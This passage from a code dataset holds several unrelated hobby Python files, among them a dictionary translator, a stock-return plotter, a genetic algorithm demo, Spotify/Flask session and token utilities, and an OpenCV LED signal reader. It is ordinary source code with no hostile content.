dictionary) + character\r\n #Returning the final translation\r\n return translation\r\n#Function to compare Input and Output Character Count\r\ndef compareCharacters(word, translatedword):\r\n count=0\r\n count1=0\r\n #Determine count of Input\r\n for x in range(0, len(word)):\r\n if(word[x]!=''):\r\n count+=1\r\n print('\\nInput Character Count:', count)\r\n #Determine count of Output\r\n for x in range(0, len(translatedword)):\r\n if(translatedword[x]!=''):\r\n count1+=1\r\n print('\\nOutput Character Count:', count1)\r\n #If Input greater than Output\r\n if (count>count1):\r\n count=count-count1\r\n print('\\nInput has',count,'more characters than output')\r\n #If Output greater than Input\r\n else:\r\n count1=count1-count\r\n print('\\nOutput has',count1,'more characters than input')\r\n\r\n#Translate sentence from English to French\r\nsentence = 'I drink good red wine, and eat bread.'\r\n#Use the translate function\r\ntranslated = translate(sentence, dicts, 'English to French')\r\n#Display input and output\r\nprint('--------------------------------------')\r\nprint('Input:', sentence)\r\n#Remove extra period by splicing\r\nprint('Output:', translated[:-1])\r\n#Determine word count of input and output\r\nprint('\\nWord count of input:',len(sentence.split()))\r\nprint('\\nWord count of output:',len(translated.split()))\r\n#Use compareCharacters function\r\ncompareCharacters(sentence,translated)\r\nprint('--------------------------------------')\r\n#Translate sentence from French to English\r\nsentence = 'Je bois du vin rouge.'\r\n#Use the translate function\r\ntranslated = translate(sentence, dicts, 'French to English')\r\n#Display input and output\r\nprint('\\nInput:', sentence)\r\n#Remove extra period by splicing\r\nprint('Output:', translated[:-1])\r\n#Determine word count of input and output\r\nprint('\\nWord count of input:',len(sentence.split()))\r\nprint('\\nWord count of output:',len(translated.split()))\r\n#Use compareCharacters function\r\ncompareCharacters(sentence,translated)\r\nprint('--------------------------------------')\r\n\r\n#Translate sentence from English to French (different domain)\r\nsentence = 'I play basketball by myself because I require exercise.'\r\n#Use the translate function\r\ntranslated = translate(sentence, dicts, 'English to French')\r\n#Display input and output\r\nprint('--------------------------------------')\r\nprint('Input:', sentence)\r\n#Remove extra period by splicing\r\nprint('Output:', translated[:-1])\r\n#Determine word count of input and output\r\nprint('\\nWord count of input:',len(sentence.split()))\r\nprint('\\nWord count of output:',len(translated.split()))\r\n#Use compareCharacters function\r\ncompareCharacters(sentence,translated)\r\nprint('--------------------------------------')\r\n#Translate sentence from French to English\r\nsentence = 'Je ne joue pas au basket.'\r\n#Use the translate function\r\ntranslated = translate(sentence, dicts, 'French to English')\r\n#Display input and output\r\nprint('\\nInput:', sentence)\r\n#Remove extra period by splicing\r\nprint('Output:', translated[:-1])\r\n#Determine word count of input and output\r\nprint('\\nWord count of input:',len(sentence.split()))\r\nprint('\\nWord count of output:',len(translated.split()))\r\n#Use compareCharacters function\r\ncompareCharacters(sentence,translated)\r\nprint('--------------------------------------')\r\n\r\n#Translate sentence from English to Dutch\r\nsentence = 'on a long Friday night, I like to sit on my couch and watch television while playing on my phone.'\r\n#Use the translate function\r\ntranslated = translate(sentence, dicts, 'English to Dutch')\r\n#Display input and output\r\nprint('--------------------------------------')\r\nprint('Input:', sentence)\r\n#Remove extra period by splicing\r\nprint('Output:', translated[:-1])\r\n#Determine word count of input and output\r\nprint('\\nWord count of input:',len(sentence.split()))\r\nprint('\\nWord count of output:',len(translated.split()))\r\n#Use compareCharacters function\r\ncompareCharacters(sentence,translated)\r\nprint('--------------------------------------')\r\n#Translate sentence from Dutch to English\r\nsentence = 'op een lange vrijdagavond zit ik graag op mijn bank en kijk ik televisie terwijl ik op mijn telefoon speel.'\r\n#Use the translate function\r\ntranslated = translate(sentence, dicts, 'Dutch to English')\r\n#Display input and output\r\nprint('\\nInput:', sentence)\r\n#Remove extra period by splicing\r\nprint('Output:', translated[:-1])\r\n#Determine word count of input and output\r\nprint('\\nWord count of input:',len(sentence.split()))\r\nprint('\\nWord count of output:',len(translated.split()))\r\n#Use compareCharacters function\r\ncompareCharacters(sentence,translated)\r\n\r\n#Change the english sentence according to words on the English Thesaurus\r\nsentence = 'i eat every type of vegetable as i love any vegetable.'\r\n#Use the translate function\r\ntranslated = translate(sentence, dicts, 'English Thesaurus')\r\nprint('--------------------------------------')\r\n#Display input\r\nprint('Input:', sentence)\r\n#Translate the sentence receieved through the Thesaurus to Dutch\r\nsentence = 'i consume all sort of herb since i adore each herb.'\r\n#Use the translate function\r\ntranslated = translate(sentence, dicts, 'English to Dutch Thesaurus')\r\n#Output and remove the extra period by splicing\r\nprint('Output:', translated[:-1])\r\n#Determine word count of input and output\r\nprint('\\nWord count of input:',len(sentence.split()))\r\nprint('\\nWord count of output:',len(translated.split()))\r\n#Use the compareCharacters function\r\ncompareCharacters(sentence,translated)\r\nprint('--------------------------------------')\r\n#Translate the Dutch sentence back to English for the user to know what the program translated it from\r\nsentence='ik consumeren alle soort van kruid sinds ik aanbidden elk kruid.'\r\n#Use the translate function\r\ntranslated = translate(sentence, dicts, 'Dutch to English Thesaurus')\r\n#Display input and output\r\nprint('--------------------------------------')\r\nprint('Input:', sentence)\r\n#Remove the extra period by splicing\r\nprint('Output:', translated[:-1])\r\n#Determine word count of input and output\r\nprint('\\nWord count of input:',len(sentence.split()))\r\nprint('\\nWord count of output:',len(translated.split()))\r\n#Use the compareCharacters function\r\ncompareCharacters(sentence,translated)\r\nprint('--------------------------------------')\r\n\r\n","repo_name":"shaanstackz/MyTranslate","sub_path":"mytranslate.py","file_name":"mytranslate.py","file_ext":"py","file_size_in_byte":12419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42707559435","text":"def primeiras_ocorrencias(a):\n dicionario = {}\n lista = []\n for i in range(len(a)-1):\n lista.append(a[i])\n \n for i in lista:\n if i in a:\n dicionario[i] = i\n return dicionario","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_068/ch82_2020_04_12_20_35_07_653373.py","file_name":"ch82_2020_04_12_20_35_07_653373.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37139754480","text":"#Importar librerias\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport yfinance as yf\r\nimport matplotlib.pyplot as plt\r\nimport warnings\r\n\r\n#Descarga de datos para mantener solo precios de cierre ajustados\r\n\r\ndf = yf.download('MSFT',\r\n start='1988-01-01',\r\n end='2023-12-31',\r\n progress=False)\r\n\r\ndf = df.loc[:, ['Adj Close']]\r\ndf.rename(columns={'Adj Close': 'adj_close'}, inplace=True)\r\n\r\n#Calcular los rendimientos simples y logaritmicos\r\n\r\ndf['simple_rtn'] = df.adj_close.pct_change() #Rendimientos simples\r\ndf['log_rtn'] = np.log(df.adj_close/df.adj_close.shift(1)) #Rendimientos logaritmicos\r\n\r\n#Estableciendo la figura\r\nfig, ax= plt.subplots(3, 1, figsize=(12, 10), sharex=True)\r\n\r\n#Agregando precios\r\n\r\ndf.adj_close.plot(ax=ax[0])\r\nax[0].set(title = 'MSFT time series',\r\n ylabel = 'Stock price ($)')\r\n\r\n#Agregando rendimientos simples\r\n\r\ndf.simple_rtn.plot(ax=ax[1])\r\nax[1].set(ylabel = 'Simple returns (%)')\r\n\r\n#Agregarndo rendimientos logaritmicos\r\n\r\ndf.log_rtn.plot(ax=ax[2])\r\nax[2].set(xlabel = 'Date',\r\n ylabel = 'Log returns (%)')\r\nax[2].tick_params(axis='x',\r\n which = 'major',\r\n labelsize=12)\r\n#Guardando y mostrando grafico\r\nplt.savefig('Visualizacion_series_de_tiempo.png')\r\nplt.show()\r\n\r\n","repo_name":"JavisG300/Python_para_finanzas_y_modelado","sub_path":"Viz_series_de_tiempo_financieras.py","file_name":"Viz_series_de_tiempo_financieras.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25031257313","text":"from functools import cached_property\nfrom random import uniform\nfrom numpy.random import randint\n\n# the aim of this genetic algo is to find this sequence\nSOLUTION_SEQUENCE = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n\n# multi chromosomes form a population\n\nTOURNAMENT_SIZE = 20\nMAX_FITNESS = 10\nCHROMOSOME_LENGTH = 10\n\n\n# these are chromosomes\nclass Individual:\n def __init__(self):\n # this is the representation of a given solution\n # the higher the fitness, the better it approximates solution\n self.genes = [randint(CHROMOSOME_LENGTH) for _ in range(CHROMOSOME_LENGTH)]\n\n # calculate the fitness values of these chromosomes (individuals)\n @cached_property\n def get_fitness(self):\n fitness = 0\n for index in range(len(self.genes)):\n if self.genes[index] == SOLUTION_SEQUENCE[index]:\n fitness += 1\n return fitness\n\n def __repr__(self):\n return ''.join(str(gene) for gene in self.genes)\n\n\nclass Population:\n def __init__(self, population_size):\n self.population_size = population_size\n self.individuals = [Individual() for _ in range(population_size)]\n\n def get_fittest(self):\n fittest = self.individuals[0]\n for individual in self.individuals[1:]:\n if individual.get_fitness > fittest.get_fitness:\n fittest = individual\n\n return fittest\n\n # return with N individuals...\n def get_fittest_elitism(self, n):\n self.individuals.sort(key=lambda ind: ind.get_fitness, reverse=True)\n return self.individuals[:n]\n\n def get_size(self):\n return self.population_size\n\n def get_individual(self, index):\n return self.individuals[index]\n\n def save_individual(self, index, individual):\n self.individuals[index] = individual\n\n\nclass GeneticAlgorithm:\n def __init__(self, population_size=100, crossover_rate=0.65, mutation_rate=0.1, elitism_param=5):\n self.population_size = population_size\n self.crossover_rate = crossover_rate\n self.mutation_rate = mutation_rate\n self.elitism_param = elitism_param\n\n def run(self):\n pop = Population(self.population_size)\n generation_counter = 0\n while pop.get_fittest().get_fitness != MAX_FITNESS:\n print(\n f'Generation {generation_counter}, fittest: {pop.get_fittest()} with fitness {pop.get_fittest().get_fitness}'\n )\n generation_counter += 1\n pop = self.evolve_population(pop)\n\n print('Solution found...')\n print(pop.get_fittest())\n\n def evolve_population(self, population):\n next_population = Population(self.population_size)\n\n # elitism: we copy top N (5 in our case) individuals from the\n # previous population with the highest fitness function. and then\n # the rest of 15 (20 - 5) we choose randomly\n next_population.individuals.extend(population.get_fittest_elitism(self.elitism_param))\n\n # crossover\n for index in range(self.elitism_param, next_population.get_size()):\n first = self.random_selection(population)\n second = self.random_selection(population)\n next_population.save_individual(index, self.crossover(first, second))\n\n # mutation\n for individual in next_population.individuals:\n self.mutate(individual)\n\n return next_population\n\n # tournament selection\n def random_selection(self, actual_population):\n new_population = Population(TOURNAMENT_SIZE)\n\n # select 20 individuals at random from actual population\n for i in range(new_population.get_size()):\n random_index = randint(actual_population.get_size())\n new_population.save_individual(i, actual_population.get_individual(random_index))\n\n return new_population.get_fittest()\n\n def mutate(self, individual):\n for index in range(CHROMOSOME_LENGTH):\n if uniform(0, 1) < self.mutation_rate:\n individual.genes[index] = randint(CHROMOSOME_LENGTH)\n\n def crossover(self, individual1, individual2):\n cross_individual = Individual()\n start = randint(CHROMOSOME_LENGTH)\n end = randint(CHROMOSOME_LENGTH)\n if end < start:\n start, end = end, start\n\n cross_individual.genes = individual1.genes[:start] + individual2.genes[start:end] + individual1.genes[end:]\n\n return cross_individual\n\n\nif __name__ == '__main__':\n algorithm = GeneticAlgorithm(50)\n algorithm.run()\n","repo_name":"dusantrtica/ai-metaheuristics","sub_path":"genetic_algorithm_sample.py","file_name":"genetic_algorithm_sample.py","file_ext":"py","file_size_in_byte":4535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3902197704","text":"n = int(input())\nwhile n>0:\n n -= 1\n k = int(input())\n x1=[str(n) for n in input().split()]\n \n x2=[str(n) for n in input().split()]\n x3=[str(n) for n in input().split()]\n arr = [x1, x2, x3]\n bi = {}\n di = {}\n for i in range(3):\n for j in range(k):\n bi[arr[i][j]]=0\n for i in range(3):\n for j in range(k):\n if bi[arr[i][j]]==1:\n di[arr[i][j]]+=1\n else:\n bi[arr[i][j]]=1\n di[arr[i][j]]=1\n for i in range(3):\n s1 = 0\n for j in range(k):\n if di[arr[i][j]]==1:\n s1+=3\n elif di[arr[i][j]]==2:\n s1+=1\n print(s1, end=\" \")\n print()\n \n\n","repo_name":"ridnex/codeforces","sub_path":"icpc/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8655497637","text":"\nimport os\nimport argparse\nimport re\nfrom typing import List, Any, Dict\nimport requests\n\nurl = \"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/complexSearch\"\napi_key = os.getenv(\"RECIPE_API_KEY\")\nheaders = {\n \"X-RapidAPI-Key\": '',\n \"X-RapidAPI-Host\": \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n}\n\n\ndef main():\n print(\"hello world!\")\n\n\ndef search_recipes(params):\n print(params)\n response = requests.request(\n \"GET\", url, headers=headers, params=params)\n return response\n\n\ndef validate_length(input):\n return len(input) > 20\n\n\ndef validate_input(input):\n return re.search(\"[^a-zA-Z]\", input)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"rrich-kray/recipes","sub_path":"app/recipes.py","file_name":"recipes.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19603908010","text":"import os\nimport secrets\nimport string\nfrom datetime import timezone, timedelta, datetime\nimport openai\nimport requests\nimport sshtunnel\nfrom cryptography.fernet import Fernet\nfrom flask import abort, session, current_app\n\n\ndef verify_session(session):\n if \"tokens\" not in session:\n abort(400)\n return session[\"tokens\"].get(\"access_token\")\n\n\ndef fetch_user_data(access_token):\n headers = {\"Authorization\": f\"Bearer {access_token}\"}\n res = requests.get(current_app.config['ME_URL'], headers=headers)\n if res.status_code != 200:\n abort(res.status_code)\n\n return res.json()\n\n\ndef generate_state():\n return \"\".join(\n secrets.choice(string.ascii_uppercase + string.digits) for _ in range(16)\n )\n\n\ndef prepare_auth_payload(state, scope, show_dialog=False):\n payload = {\n \"client_id\": current_app.config['CLIENT_ID'],\n \"response_type\": \"code\",\n \"redirect_uri\": current_app.config['REDIRECT_URI'],\n \"state\": state,\n \"scope\": scope,\n }\n if show_dialog:\n payload[\"show_dialog\"] = True\n return payload\n\n\ndef request_tokens(payload, client_id, client_secret):\n res = requests.post(current_app.config['TOKEN_URL'], auth=(client_id, client_secret), data=payload)\n res_data = res.json()\n if res_data.get(\"error\") or res.status_code != 200:\n return None, res.status_code\n return res_data, None\n\n\ndef convert_utc_to_est(utc_time):\n return utc_time.replace(tzinfo=timezone.utc).astimezone(timezone(timedelta(hours=-4)))\n\n\ndef load_encryption_key():\n return os.environ['CRYPT_KEY'].encode()\n\n\ndef encrypt_data(api_key):\n cipher_suite = Fernet(load_encryption_key())\n encrypted_api_key = cipher_suite.encrypt(api_key.encode())\n return encrypted_api_key\n\n\ndef decrypt_data(encrypted_api_key):\n cipher_suite = Fernet(load_encryption_key())\n decrypted_api_key = cipher_suite.decrypt(\n encrypted_api_key)\n return decrypted_api_key.decode()\n\n\ndef is_api_key_valid(key):\n openai.api_key = key\n try:\n test = openai.chat.completions.create(\n model=\"gpt-4\",\n messages=[\n {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n {\"role\": \"user\", \"content\": \"Hello!\"}\n ],\n max_tokens=10,\n temperature=0,\n )\n if test.choices[0].message.content:\n return True\n except openai.OpenAIError:\n return False\n\n\ndef refresh_tokens():\n if 'tokens' not in session:\n return False\n\n payload = {\n 'grant_type': 'refresh_token',\n 'refresh_token': session['tokens'].get('refresh_token')\n }\n\n res_data, error = request_tokens(payload, current_app.config['CLIENT_ID'], current_app.config['CLIENT_SECRET'])\n if error:\n return False\n\n new_access_token = res_data.get('access_token')\n new_refresh_token = res_data.get('refresh_token', session['tokens']['refresh_token'])\n expires_in = res_data.get('expires_in')\n new_expiry_time = datetime.now() + timedelta(seconds=expires_in)\n\n session['tokens'].update({\n 'access_token': new_access_token,\n 'refresh_token': new_refresh_token,\n 'expiry_time': new_expiry_time.isoformat()\n })\n\n return True\n\n\ndef get_tunnel(SSH_HOST, SSH_USER, SSH_PASS, SQL_HOSTNAME, max_attempts=3):\n attempt_count = 0\n sshtunnel.SSH_TIMEOUT = 5.0\n sshtunnel.TUNNEL_TIMEOUT = 5.0\n while attempt_count < max_attempts:\n try:\n tunnel = sshtunnel.SSHTunnelForwarder(\n (SSH_HOST),\n ssh_username=SSH_USER,\n ssh_password=SSH_PASS,\n remote_bind_address=(SQL_HOSTNAME, 3306)\n )\n tunnel.start()\n return tunnel\n except sshtunnel.BaseSSHTunnelForwarderError:\n attempt_count += 1\n if attempt_count == max_attempts:\n raise\n","repo_name":"rawcsav/SpotifyFlask","sub_path":"app/util/session_utils.py","file_name":"session_utils.py","file_ext":"py","file_size_in_byte":3915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17614402761","text":"import cv2\nfrom reciever import SecretCamera\nfrom multi_led_reader import MultiLedReader\nimport gbvision as gbv\nfrom protocol import raw_to_data, raw_to_bmp\nimport time\n\n# ColorThreshold([[176, 255], [198, 255], [155, 255]], 'RGB')\n\n# ColorThreshold([[200, 255], [202, 255], [201, 255]], 'RGB') !!!WHITE ON BLACK!!!\n\nERODE_AND_DIALATE_DEFAULT = 0\nERODE_VAL_AAAA = 25\n\n\n\nclass ImageProcessing:\n INTERPOLATION = cv2.INTER_CUBIC\n STDV = 45\n WHITE = \"WHITE\"\n RED = \"RED\"\n\n def __init__(self, camera, erode_and_dilate_size=ERODE_AND_DIALATE_DEFAULT, size=(1000, 1000)):\n self.camera = camera\n self.camera_init()\n self.window = gbv.CameraWindow('feed', camera)\n self.window.open()\n self.erode_and_dialate_size = erode_and_dilate_size\n self.size = size\n self.pipelines = {ImageProcessing.WHITE: None}\n self.bbox_bounds = [[], []]\n self.current_original_frame = None\n self.current_cropped_frames = [None, None]\n self.current_piped_frames = [None, None]\n\n def setup(self):\n self.next_frame()\n self.crop_init(0)\n self.crop_init(1)\n self.init_pipeline(ImageProcessing.WHITE)\n cv2.destroyAllWindows()\n\n def camera_init(self):\n pass\n\n def crop_init(self, box_index):\n frame = self.get_original_frame()\n self.bbox_bounds[box_index] = cv2.selectROI('feed', frame)\n\n def init_pipeline(self, color):\n # pipeline = gbv.ColorThreshold([[0, 100], [0, 255], [0, 255]], 'HSV')\n\n self.get_cropped_frames()\n bbox = cv2.selectROI('feed', self.current_cropped_frames[0])\n self.pipelines[color] = gbv.median_threshold(self.current_cropped_frames[0], ImageProcessing.STDV, bbox, 'RGB')\n print(self.pipelines[color])\n self.pipelines[color] += gbv.Erode(ERODE_VAL_AAAA) + gbv.Dilate(0)\n\n return self.pipelines[color]\n\n def next_frame(self):\n ok, self.current_original_frame = self.camera.read()\n if not ok:\n raise NotImplementedError()\n\n def get_original_frame(self):\n return self.current_original_frame\n\n def get_cropped_frames(self):\n cropped_frames = []\n for i in range(len(self.bbox_bounds)):\n frame = gbv.crop(self.current_original_frame, *self.bbox_bounds[i])\n cropped_frames.append(cv2.resize(frame, self.size, interpolation=ImageProcessing.INTERPOLATION))\n self.current_cropped_frames = cropped_frames\n return self.current_cropped_frames\n\n def get_piped_frames(self, color):\n piped_frames = []\n for frame in self.current_cropped_frames:\n piped_frames.append(self.pipelines[color](frame))\n self.current_piped_frames = piped_frames\n return piped_frames\n\n def get_frames(self, color):\n self.get_original_frame()\n self.get_cropped_frames()\n return self.get_piped_frames(color)\n\n\nclass CircleFindWrapper:\n def __init__(self):\n self.circle_wrapper = gbv.CircleFinder(gbv.EMPTY_PIPELINE, gbv.GameObject(1))\n\n def get_count(self, white_frame, red_frame):\n l_white = self.circle_wrapper.find_shapes_unsorted(white_frame)\n l_red = self.circle_wrapper.find_shapes_unsorted(red_frame)\n l_white = [(x[0][0], x[0][1]) for x in l_white]\n l_red = [(x[0][0], x[0][1]) for x in l_red]\n return l_white, l_red\n\n\ndef setup_stage(camera, circle_finder):\n imgp = ImageProcessing(camera)\n imgp.setup()\n\n original.open()\n white_filtered.open()\n red_filtered.open()\n\n frame0, frame1 = imgp.get_frames(ImageProcessing.WHITE)\n l_0, l_1 = circle_finder.get_count(frame0, frame1)\n\n reader1, reader2 = MultiLedReader(l_0), MultiLedReader(l_1)\n\n return imgp, reader1, reader2 # ret ImageProcessing, top reader, bottom reader\n\nSLEEP = 0.15\ndef wait_stage(proc, finder, top_reader, bot_reader):\n empty = False\n while True:\n top, _ = proc.get_frames(ImageProcessing.WHITE)\n proc.next_frame()\n show_images(top, _, proc.get_original_frame())\n c_top, _ = finder.get_count(top, _)\n if len(c_top) > 0 and empty:\n break\n if len(c_top) == 0:\n empty = True\n\n while True:\n time.sleep(SLEEP)\n proc.next_frame()\n top, bottom = proc.get_frames(ImageProcessing.WHITE)\n show_images(top, bottom, proc.get_original_frame())\n circ_top, circ_bot = finder.get_count(top, bottom)\n\n next = 0\n next_bin = [\"0\"] * 8\n for cp in circ_top:\n loc = 4 + 3 - top_reader.get_nearest(cp)\n if next_bin[loc] == \"0\":\n next_bin[loc] = \"1\"\n next += 2 ** loc\n for cb in circ_bot:\n loc = 3 - bot_reader.get_nearest(cb)\n if next_bin[loc] == \"0\":\n next_bin[loc] = \"1\"\n next += 2 ** loc\n\n if next != 255:\n return next\n\n\n\n\noriginal = gbv.FeedWindow(window_name='feed')\nwhite_filtered = gbv.FeedWindow(window_name='white')\nred_filtered = gbv.FeedWindow(window_name='red')\ndef show_images(frame0, frame1, org):\n white_filtered.show_frame(frame0)\n red_filtered.show_frame(frame1)\n original.show_frame(org)\n\n\nSECERT = 30\ndef read_stage_2(proc, finder, bytes_c, top_reader, bot_reader, video_mode=False):\n ret = []\n prev = None\n prevprev = None\n count = 0\n did_once = False\n reps = 0\n\n while count < bytes_c:\n time.sleep(SLEEP)\n proc.next_frame()\n top, bottom = proc.get_frames(ImageProcessing.WHITE)\n show_images(top, bottom, proc.get_original_frame())\n circ_top, circ_bot = finder.get_count(top, bottom)\n\n curr = 0\n next_bin = [\"0\"] * 8\n for cp in circ_top:\n loc = 4 + 3 - top_reader.get_nearest(cp)\n if next_bin[loc] != \"1\":\n next_bin[loc] = \"1\"\n curr += 2 ** loc\n for cb in circ_bot:\n loc = 3 - bot_reader.get_nearest(cb)\n if next_bin[loc] != \"1\":\n next_bin[loc] = \"1\"\n curr += 2 ** loc\n\n if not did_once and curr == bytes_c:\n continue\n elif not did_once:\n did_once = True\n\n if prev is None:\n prev = curr\n prevprev = curr\n elif prev != curr:\n if prev == SECERT:\n ret.append(prevprev)\n else:\n ret.append(prev)\n print(chr(prev), reps)\n count += 1\n prevprev = prev\n prev = curr\n reps = 0\n else:\n reps += 1\n\n return ret\n\n\ndef read_stage(proc, finder, bytes_c, top_reader, bot_reader, video_mode=False):\n ret = []\n for i in range(bytes_c):\n proc.next_frame()\n top, bottom = proc.get_frames(ImageProcessing.WHITE)\n show_images(top, bottom, proc.get_original_frame())\n circ_top, circ_bot = finder.get_count(top, bottom)\n\n next = 0\n next_bin = [\"0\"] * 8\n for cp in circ_top:\n loc = 4 + top_reader.get_nearest(cp)\n\n if next_bin[loc] != \"1\":\n next_bin[loc] = \"1\"\n next += 2 ** loc\n for cb in circ_bot:\n loc = bot_reader.get_nearest(cb)\n if next_bin[loc] != \"1\":\n next_bin[loc] = \"1\"\n next += 2 ** loc\n\n print((next_bin))\n\n print(next)\n try:\n print(chr(next))\n except:\n pass\n ret.append(next)\n\n [proc.next_frame() for _ in range(8)]\n\n return ret\n\n\ndef read_secret(camera, circle_finder, proc, reader_top, reader_bot, video_mode=False):\n\n leng = wait_stage(proc, circle_finder, reader_top, reader_bot)\n print(leng)\n\n secret = read_stage_2(proc, circle_finder, leng, reader_top, reader_bot, video_mode)\n print(secret)\n return secret\n\n\ndef main():\n # s = SecretCamera(SecretCamera.ARAZI)\n circle_finder = CircleFindWrapper()\n # camera = gbv.USBCamera(0)\n # camera = gbv.USBCamera(r\"C:\\Users\\t8854535\\Desktop\\sprint2\\test_data\\total_test4.avi\")\n # camera = s\n # imgp = ImageProcessing(camera)\n imgp.setup()\n\n original = gbv.FeedWindow(window_name='feed')\n white_filtered = gbv.FeedWindow(window_name='white')\n red_filtered = gbv.FeedWindow(window_name='red')\n\n original.open()\n white_filtered.open()\n red_filtered.open()\n\n while True:\n try:\n imgp.next_frame()\n except NotImplementedError:\n return\n frame0, frame1 = imgp.get_frames(ImageProcessing.WHITE)\n l_0, l_1 = circle_finder.get_count(frame0, frame1)\n print(\"TOP: {}\".format(l_0))\n print(\"BOTTOM: {}\".format(l_1))\n\n # cropped_frames = imgp.current_cropped_frames\n if not original.show_frame(imgp.current_original_frame):\n break\n if not white_filtered.show_frame(frame0):\n break\n if not red_filtered.show_frame(frame1):\n break\n\n\nif __name__ == '__main__':\n camera = gbv.USBCamera(SecretCamera.HELP)\n # camera = gbv.USBCamera(r\"final9-03.avi\")\n # camera = cv2.VideoCapture.self(SecretCamera.DANIEL)\n # camera = gbv.AsyncUSBCamera(SecretCamera.DANIEL)\n # camera.wait_start_reading()\n circle_finder = CircleFindWrapper()\n\n proc, reader_top, reader_bot = setup_stage(camera, circle_finder)\n\n input(\"press enter\")\n\n first = read_secret(camera, circle_finder, proc, reader_top, reader_bot)\n print(raw_to_data(first))\n second = read_secret(camera, circle_finder, proc, reader_top, reader_bot)\n print(raw_to_data(second))\n thirf = read_secret(camera, circle_finder, proc, reader_top, reader_bot)\n raw_to_bmp(thirf)\n\n","repo_name":"Savioor/sprint2","sub_path":"single_led_detector.py","file_name":"single_led_detector.py","file_ext":"py","file_size_in_byte":9704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31216293608","text":"emoji_pattern = re.compile(\"[\"\n u\"\\U0001F600-\\U0001F64F\" # emoticons\n u\"\\U0001F300-\\U0001F5FF\" # symbols & pictographs\n u\"\\U0001F680-\\U0001F6FF\" # transport & map symbols\n u\"\\U0001F1E0-\\U0001F1FF\" # flags (iOS)\n \"]+\", flags=re.UNICODE)\n\n\nif chat_message.body.lower().startswith('copy'):\n message_text = chat_message.body[5:].strip() # extract the message after \"copy\" and remove leading/trailing whitespaces\n message_text = emoji_pattern.sub(r'\\g<0> ', message_text) # add a space between consecutive emojis\n self.client.send_chat_message(chat_message.group_jid, message_text)\n \n","repo_name":"vipguy/vipguy","sub_path":"emoji.py","file_name":"emoji.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"6563186048","text":"import pandas as pd\nfrom sys import argv\nimport datetime\nimport glob\nimport os\nimport re\nimport warnings\n\nTAXON_KEY = \"taxon\"\nPANGOLIN_STATUS_KEY = \"qc_status\"\nCVIEW_PANG_STATUS_KEY = \"status\"\nPASSES_PANG_STATUS_KEY = \"passed_qc\"\nSAMPLE_NAME = \"Sample\"\nSEARCH_ID = \"search_id\"\nSEQ_POOL_COMP_ID = \"sequenced_pool_component_id\"\nCONS_NAME = \"consensus_seq_name\"\nMOD_CONS_NAME = \"modded_consensus_seq_name\"\nUSABLE_NAME = \"usable_for\"\nNOTHING_VAL = \"nothing\"\nVARIANT_VAL = \"variant\"\nVARIANT_AND_EP_VAL = \"variant_and_epidemiology\"\nIS_HIST_OR_REF = \"is_hist_or_ref\"\nOVERALL_FAIL_KEY = \"overall_fail\"\nANY_FAIL_KEY = \"any_fail\"\nSE_OR_PE_KEY = \"se_or_pe\"\nSE_VALUE = \"se\"\nPE_VALUE = \"pe\"\nBAM_VALUE = \"bam\"\nSEQUENCING_TECH_KEY = \"sequencing_tech\"\nILLUMINA_TECH = \"Illumina\"\nGENEXUS_TECH = \"Genexus\"\nSAMPLE_SEQ_DATETIME = \"sample_sequencing_datetime\"\nSEQ_RUN_KEY = \"seq_run\"\n\n\n# recreate un-reversable pangolin name munge;\n# code pulled and very slightly modded from\n# https://github.com/cov-lineages/pangolin/blob/\n# 1763ac04da0dff41bd778cfa72f41a361457d81d/pangolin/command.py#L144-L147\ndef _perform_pangolin_name_munge(seq_name):\n mod_seq_name = seq_name.replace(' ', '_')\n if \",\" in mod_seq_name:\n mod_seq_name = mod_seq_name.replace(\",\", \"_\")\n return mod_seq_name\n\n\ndef merge_summaries(run_summaries_fp, run_summary_suffix):\n # Merge summaries with a single header\n summaries_pattern = os.path.join(run_summaries_fp,\n f\"*{run_summary_suffix}\")\n matching_fps = glob.glob(summaries_pattern)\n # Sort here is in reverse order as a poor-man's way to put the newest\n # summary files first, as the production run names start with a date (e.g.\n # 220314 or 220401). Whatever df is first in the list of dfs to concat\n # appears to set the order of the columns in the resulting concatted df.\n # The older summary files don't necessarily hold all the same metrics as\n # the newer summary files ... and if one of those old files is the \"base\"\n # df that all the others are concatted to, then the columns that don't\n # exist in the base df but do in the others get tacked on to the very end\n # of the concatted df. Generally, we'd rather have them in whatever place\n # in the df they are in the latest summary files, since those probably\n # represent the most current use cases. This is a way to make that likely\n # to happen without adding the fragility of explicitly forcing the column\n # order.\n sorted_matching_fps = sorted(matching_fps, reverse=True)\n matching_dfs = []\n for fp in sorted_matching_fps:\n curr_df = pd.read_csv(fp) # , dtype=str)\n matching_dfs.append(curr_df)\n merged_summaries_df = pd.concat(matching_dfs)\n return merged_summaries_df\n\n\ndef _parse_seq_run_date(seq_run):\n # run date is expressed as 6 digits (YYMMDD)\n # (but check of whether the individual digits are valid for a date\n # comes later)\n seq_run_datetime_str = None\n run_date_regex = r\"(\\d{6})_.*\"\n\n try:\n re_match = re.match(run_date_regex, seq_run)\n seq_run_date_str = re_match.group(1)\n seq_run_date = datetime.datetime.strptime(\n 